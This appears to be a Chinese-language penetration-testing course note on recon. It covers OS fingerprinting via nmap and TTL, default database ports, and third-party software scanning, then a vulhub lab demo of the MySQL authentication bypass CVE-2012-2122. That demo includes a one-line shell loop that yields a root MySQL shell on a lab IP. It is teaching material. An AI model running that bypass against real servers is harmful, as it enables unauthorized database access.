除去前期讲到过的搭建平台中间件,网站源码外,容易受到攻击的还有操作系统,数据库,第三方平台等,期中这类攻击也能直接影响到WEB或服务器的安全,导致网站或服务器权限的获取。

操作系统层面:

识别操作系统的常见方法

有网站

  • 可以通过网站的手工识别方法判断:
  • windows对大小写不敏感,也就是说你在网页中可以替换网站路径的大小写进行测试,如果改变大小写不会影响则可能是Windows的服务器,有影响则可能是Linux。

没网站

  • 通过nmap进行扫描:
    1
    nmap -O IP地址
    1
    2
    3
    Running (JUST GUESSING): Microsoft Windows 7|2008|Vista|8.1|2012 (96%)
    OS CPE: cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1:r1 cpe:/o:microsoft:windows_server_2012:r2
    Aggressive OS guesses: Microsoft Windows 7 SP1 (96%), Microsoft Windows Server 2008 R2 (90%), Microsoft Windows 7 or Windows Server 2008 R2 (90%), Microsoft Windows Server 2008 or 2008 Beta 3 (90%), Microsoft Windows 7 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 R2 (90%), Microsoft Windows 7 SP1 or Windows Server 2008 SP2 or 2008 R2 SP1 (90%), Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7 (90%), Microsoft Windows Server 2008 (90%), Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008 (90%)
  • 对服务器系统进行了识别,这个判断应该为Microsoft Windows 7 SP1
  • 备注:不是所有的系统都可以用这种方式扫描出操作系统的类型、在windows的一些高版本中无法探测,例如:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    # nmap -O 10.1.1.129
    Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-07 21:10 CST
    Nmap scan report for 10.1.1.129 (10.1.1.129)
    Host is up (0.00053s latency).
    Not shown: 994 closed ports
    PORT STATE SERVICE
    80/tcp open http
    MAC Address: 00:0C:29:DC:AF:EA (VMware)
    No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
    TCP/IP fingerprint:
    OS:SCAN(V=7.91%E=4%D=6/7%OT=80%CT=1%CU=36041%PV=Y%DS=1%DC=D%G=Y%M=000C29%TM
    OS:=60BE1ADE%P=x86_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=10C%TI=I%CI=I%II=I%
    OS:SS=S%TS=U)OPS(O1=M5B4NW8NNS%O2=M5B4NW8NNS%O3=M5B4NW8%O4=M5B4NW8NNS%O5=M5
    OS:B4NW8NNS%O6=M5B4NNS)WIN(W1=FFFF%W2=FFFF%W3=FFFF%W4=FFFF%W5=FFFF%W6=FF70)
    OS:ECN(R=Y%DF=Y%T=80%W=FFFF%O=M5B4NW8NNS%CC=Y%Q=)T1(R=Y%DF=Y%T=80%S=O%A=S+%
    OS:F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=Z%A=S%F=AR%O=%RD=0%Q=)T3(R=Y%DF=Y%T=
    OS:80%W=0%S=Z%A=O%F=AR%O=%RD=0%Q=)T4(R=Y%DF=Y%T=80%W=0%S=A%A=O%F=R%O=%RD=0%
    OS:Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=
    OS:A%A=O%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=80%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
    OS:Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
    OS:T=80%CD=Z)

TTL

不同的操作系统的默认TTL值是不同的, 所以我们可以通过TTL值来判断主机的操作系统,但是当用户修改了TTL值的时候,就会误导我们的判断,所以这种判断方式也不一定准确。下面是默认操作系统的TTL:

  1. WINDOWS NT/2000   TTL:128
  2. WINDOWS 95/98     TTL:32
  3. UNIX              TTL:255
  4. LINUX             TTL:64
  5. WIN7         TTL:64
  • 这个TTL=110,接近与128,属于Windows NT/2000

简要两者的区别及识别意义

  • 系统文件的路径不同,Windows是分C盘、D盘等,而Linux的盘储存就不一样,等等。
  • 已知服务器的操作系统是什么,就可以对症下药有针对性地围绕这个操作系统所支持地方面去发展。

操作系统层面漏洞类型对应意义

  • 有些漏洞对于我们来说是没有意义的,只是会造成一些危害,但不会造成权限的丢失,只是影响了产品,没有获取到权限那就没太大意义。
  • 不同的漏洞会造成不同漏洞利用的条件

简要操作系统层面漏洞影响范围

  • 有些漏洞会对操作系统干扰造成崩溃、而有些系统只是蓝屏、或者是权限的提升

数据库层面:

  • 网站分动态网站和静态网站,静态网站由于只是单页,没有数据传递,所以不存在数据库漏洞。

识别数据库类型常见方法

  • 默认的语言搭配的数据库
    1
    2
    3
    4
    5
    1. 组合类型asp + access/mssql
    2. 组合类型php + mysql
    3. 组合类型aspx+mssql
    4. 组合类型jsp +mysql/oracle
    5. 组合类型Python + MongoDB
  • 常见的数据库默认端口号
  • 关系型数据库
    1
    2
    3
    4
    1. mysql				3306
    2. sqlserver 1433
    3. oracle 1521
    4. psotgresql 5432
  • 非关系型数据库
    1
    2
    3
    1. MongoDB			27017
    2. Redis 6379
    3. memcached 11211
  • 3306端口为MySQL数据库
  • 其中STATE状态,open表示打开,close是关闭,filtered是拦截,表示nmap无法确定开放状态

数据库类型区别及识别意义

  • 数据库的不同表示的结构也是不同、写法结构也不一样、所以产生的漏洞也不一样。
  • 不同的数据库的攻击方式也不完全一样。

数据库常见漏洞类型及攻击

  • 存在弱口令
  • 数据库漏洞

简要数据库层面漏洞影响范围

  • 数据库权限
  • 网站权限
  • 修改网页内容

第三方层面

如何判断有哪些第三方平台或软件

  • 通过扫描网站可以看到安装了哪些第三方的软件,例如下面这个就是安装了Apache httpd
    1
    nmap -O -sV IP地址

简要为什么要识别第三方平台或软件

  • 不同的第三方软件或工具存在不同的漏洞、识别到更多的信息对收集到的漏洞也就越多

常见第三方平台或软件漏洞类型及攻击

  • 弱口令
  • 软件的漏洞攻击

简要第三方平台或软件安全测试的范围

  • 直接获取到软件的权限便于进一步的提权和攻击

补充

  • 除去常规wEB安全及APP安全测试外,类似服务器单一或复杂的其他服务(邮件,游戏,负载均衡等),也可以作为安全测试目标,此类目标测试原则只是少了WEB应用或其他安全问题。所以明确安全测试思路是很重要的!
  • 要根据它上面提供的服务来选取这个常见的攻击漏洞或者攻击方式

演示案例

演示某数据库弱口令及漏洞演示

Mysql 身份认证绕过漏洞(CVE-2012-2122)

  • https://vulhub.org/#/environments/mysql/CVE-2012-2122/
  • 首先在Ubuntu搭建漏洞环境
  • 在kali当中对这个数据库进行扫描
  • 可以看出MySQL版本为5.5.23,存在这个漏洞
    1
    for i in `seq 1 1000`; do mysql -u root --password=bad -h 192.168.3.39 2>/dev/null; done
  • 就可以直接进入到MySQL的shell

第三方应用安全漏洞演示

phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)


笔记参考自小迪安全